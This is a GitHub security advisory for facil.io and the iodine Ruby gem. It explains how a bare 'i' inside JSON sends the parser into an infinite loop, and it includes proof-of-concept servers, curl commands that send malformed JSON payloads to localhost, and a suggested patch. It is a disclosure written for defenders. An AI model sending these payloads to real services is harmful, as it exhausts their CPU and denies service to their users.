GHSA-2X79-GWQ3-VXXM
Vulnerability from github – Published: 2026-04-14 23:41 – Updated: 2026-04-14 23:41Summary
fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.
The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.
Details
The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).
This parser is reached from real library entry points, not just the header in isolation:
facil.io:lib/facil/fiobj/fiobj_json.c:377-387(fiobj_json2obj) and402-411(fiobj_hash_update_json)iodine:ext/iodine/iodine_json.c:161-177(iodine_json_convert)iodine:ext/iodine/fiobj_json.c:377-387and402-411
Relevant flow:
- Inside an array or object, the parser sees
iorIand jumps to thenumeral:label. - It calls
fio_atol((char **)&tmp). - For a bare
i/I,fio_atolconsumes zero characters and leavestmp == pos. - The current code only falls back to float parsing when
JSON_NUMERAL[*tmp]is true. JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and setspos = tmpwithout advancing.- Because parsing is still nested (
parser->depth > 0), the outer loop continues forever with the samepos.
The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.
Why the [""i form hangs:
- The parser accepts the empty string
""as the first array element. - It does not require a comma before the next token.
- The trailing
iis then parsed as a new nested value. - The zero-progress numeral path above causes the infinite loop.
Examples that trigger the bug:
- Array form, minimal:
[i - Object form:
{"a":i - After a quoted value in an array:
[""i - After a quoted value in an object:
{"a":""i
PoC
Environment used for verification:
facil.iocommit:162df84001d66789efa883eebb0567426d00148eiodinecommit:5bebba698d69023cf47829afe51052f8caa6c7f8- standalone compile against
fio_json_parser.h
Minimal standalone program
Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>
static void on_request(http_s *h) {
fprintf(stderr, "calling http_parse_body\n");
fflush(stderr);
http_parse_body(h);
fprintf(stderr, "returned from http_parse_body\n");
http_send_body(h, "ok\n", 3);
}
int main(void) {
if (http_listen("3000", "127.0.0.1",
.on_request = on_request,
.max_body_size = (1024 * 1024),
.log = 1) == -1) {
perror("http_listen");
return 1;
}
fio_start(.threads = 1, .workers = 1);
return 0;
}
http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.
Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:
git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc
Run:
./tmp/http_json_poc
Then in another terminal send one of these payloads:
printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
Observed result on a vulnerable build:
- The server prints
calling http_parse_bodyand never reachesreturned from http_parse_body. - The request never completes.
- One worker thread spins until the process is killed.
Downstream impact in iodine
iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.
Single-file iodine HTTP server repro:
require "iodine"
APP = proc do |env|
body = env["rack.input"].read.to_s
warn "calling Iodine::JSON.parse on: #{body.inspect}"
Iodine::JSON.parse(body)
warn "returned from Iodine::JSON.parse"
[200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end
Iodine.listen service: :http,
address: "127.0.0.1",
port: "3000",
handler: APP
Iodine.threads = 1
Iodine.workers = 1
Iodine.start
Run:
ruby iodine_json_parse_http_poc.rb
Then in a second terminal:
printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.
Impact
This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.
I would describe the impact as:
- Availability impact: high for affected parser entry points
- Confidentiality impact: none observed
- Integrity impact: none observed
Suggested Patch
Treat zero-consumption numeric parses as failures before accepting the token.
diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
uint8_t *tmp = pos;
long long i = fio_atol((char **)&tmp);
if (tmp > limit)
goto stop;
- if (!tmp || JSON_NUMERAL[*tmp]) {
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
tmp = pos;
double f = fio_atof((char **)&tmp);
if (tmp > limit)
goto stop;
- if (!tmp || JSON_NUMERAL[*tmp])
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
goto error;
fio_json_on_float(parser, f);
pos = tmp;
This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.
The same change should be mirrored to iodine's vendored copy:
ext/iodine/fio_json_parser.h
Impact
facil.io- Verified on
mastercommit162df84001d66789efa883eebb0567426d00148e(git describe:0.7.5-24-g162df840) - Verified on tagged releases
0.7.5and0.7.6 iodineRuby gem- Verified on repo commit
5bebba698d69023cf47829afe51052f8caa6c7f8 - Verified on tag / gem version
v0.7.58 - The gem vendors a copy of the vulnerable parser in
ext/iodine/fio_json_parser.h
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "iodine"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.7.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:41:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON.\n\nThe smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[\"\"i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value.\n\n### Details\nThe vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested).\n\nThis parser is reached from real library entry points, not just the header in isolation:\n\n- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`)\n- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)\n- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`\n\nRelevant flow:\n\n1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label.\n2. It calls `fio_atol((char **)\u0026tmp)`.\n3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`.\n4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true.\n5. `JSON_NUMERAL[\u0027i\u0027] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing.\n6. Because parsing is still nested (`parser-\u003edepth \u003e 0`), the outer loop continues forever with the same `pos`.\n\nThe same logic exists in `iodine`\u0027s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`.\n\nWhy the `[\"\"i` form hangs:\n\n1. The parser accepts the empty string `\"\"` as the first array element.\n2. It does not require a comma before the next token.\n3. The trailing `i` is then parsed as a new nested value.\n4. The zero-progress numeral path above causes the infinite loop.\n\nExamples that trigger the bug:\n\n- Array form, minimal: `[i`\n- Object form: `{\"a\":i`\n- After a quoted value in an array: `[\"\"i`\n- After a quoted value in an object: `{\"a\":\"\"i`\n\n## PoC\nEnvironment used for verification:\n\n- `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e`\n- `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8`\n- standalone compile against `fio_json_parser.h`\n\n### Minimal standalone program\n\nUse the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`.\n\n```c\n#define _POSIX_C_SOURCE 200809L\n\n#include \u003cstdio.h\u003e\n#include \u003ctime.h\u003e\n#include \u003cfio.h\u003e\n#include \u003chttp.h\u003e\n\nstatic void on_request(http_s *h) {\n fprintf(stderr, \"calling http_parse_body\\n\");\n fflush(stderr);\n http_parse_body(h);\n fprintf(stderr, \"returned from http_parse_body\\n\");\n http_send_body(h, \"ok\\n\", 3);\n}\n\nint main(void) {\n if (http_listen(\"3000\", \"127.0.0.1\",\n .on_request = on_request,\n .max_body_size = (1024 * 1024),\n .log = 1) == -1) {\n perror(\"http_listen\");\n return 1;\n }\n fio_start(.threads = 1, .workers = 1);\n return 0;\n}\n```\n\n`http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`.\n\nSave it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`:\n\n```bash\ngit checkout 0.7.6\nmkdir -p src\nmake NAME=http_json_poc\n```\n\nRun:\n\n```bash\n./tmp/http_json_poc\n```\n\nThen in another terminal send one of these payloads:\n\n```bash\nprintf \u0027[i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027[\"\"i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":\"\"i\u0027 | curl --http1.1 -H \u0027Content-Type: application/json\u0027 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nObserved result on a vulnerable build:\n\n- The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`.\n- The request never completes.\n- One worker thread spins until the process is killed.\n\n### Downstream impact in `iodine`\n\n`iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.\n\nSingle-file `iodine` HTTP server repro:\n\n```ruby\nrequire \"iodine\"\n\nAPP = proc do |env|\n body = env[\"rack.input\"].read.to_s\n warn \"calling Iodine::JSON.parse on: #{body.inspect}\"\n Iodine::JSON.parse(body)\n warn \"returned from Iodine::JSON.parse\"\n [200, { \"Content-Type\" =\u003e \"text/plain\", \"Content-Length\" =\u003e \"3\" }, [\"ok\\n\"]]\nend\n\nIodine.listen service: :http,\n address: \"127.0.0.1\",\n port: \"3000\",\n handler: APP\n\nIodine.threads = 1\nIodine.workers = 1\nIodine.start\n```\n\nRun:\n\n```bash\nruby iodine_json_parse_http_poc.rb\n```\n\nThen in a second terminal:\n\n```bash\nprintf \u0027[i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027[\"\"i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf \u0027{\"a\":\"\"i\u0027 | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nOn a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads.\n\n## Impact\nThis is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.\n\nI would describe the impact as:\n\n- Availability impact: high for affected parser entry points\n- Confidentiality impact: none observed\n- Integrity impact: none observed\n\n## Suggested Patch\nTreat zero-consumption numeric parses as failures before accepting the token.\n\n```diff\ndiff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h\n@@\n uint8_t *tmp = pos;\n long long i = fio_atol((char **)\u0026tmp);\n if (tmp \u003e limit)\n goto stop;\n- if (!tmp || JSON_NUMERAL[*tmp]) {\n+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {\n tmp = pos;\n double f = fio_atof((char **)\u0026tmp);\n if (tmp \u003e limit)\n goto stop;\n- if (!tmp || JSON_NUMERAL[*tmp])\n+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])\n goto error;\n fio_json_on_float(parser, f);\n pos = tmp;\n```\n\nThis preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged.\n\nThe same change should be mirrored to `iodine`\u0027s vendored copy:\n\n- `ext/iodine/fio_json_parser.h`\n\n\n## Impact\n- `facil.io`\n - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`)\n - Verified on tagged releases `0.7.5` and `0.7.6`\n- `iodine` Ruby gem\n - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`\n - Verified on tag / gem version `v0.7.58`\n - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`",
"id": "GHSA-2x79-gwq3-vxxm",
"modified": "2026-04-14T23:41:06Z",
"published": "2026-04-14T23:41:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm"
},
{
"type": "PACKAGE",
"url": "https://github.com/boazsegev/facil.io"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.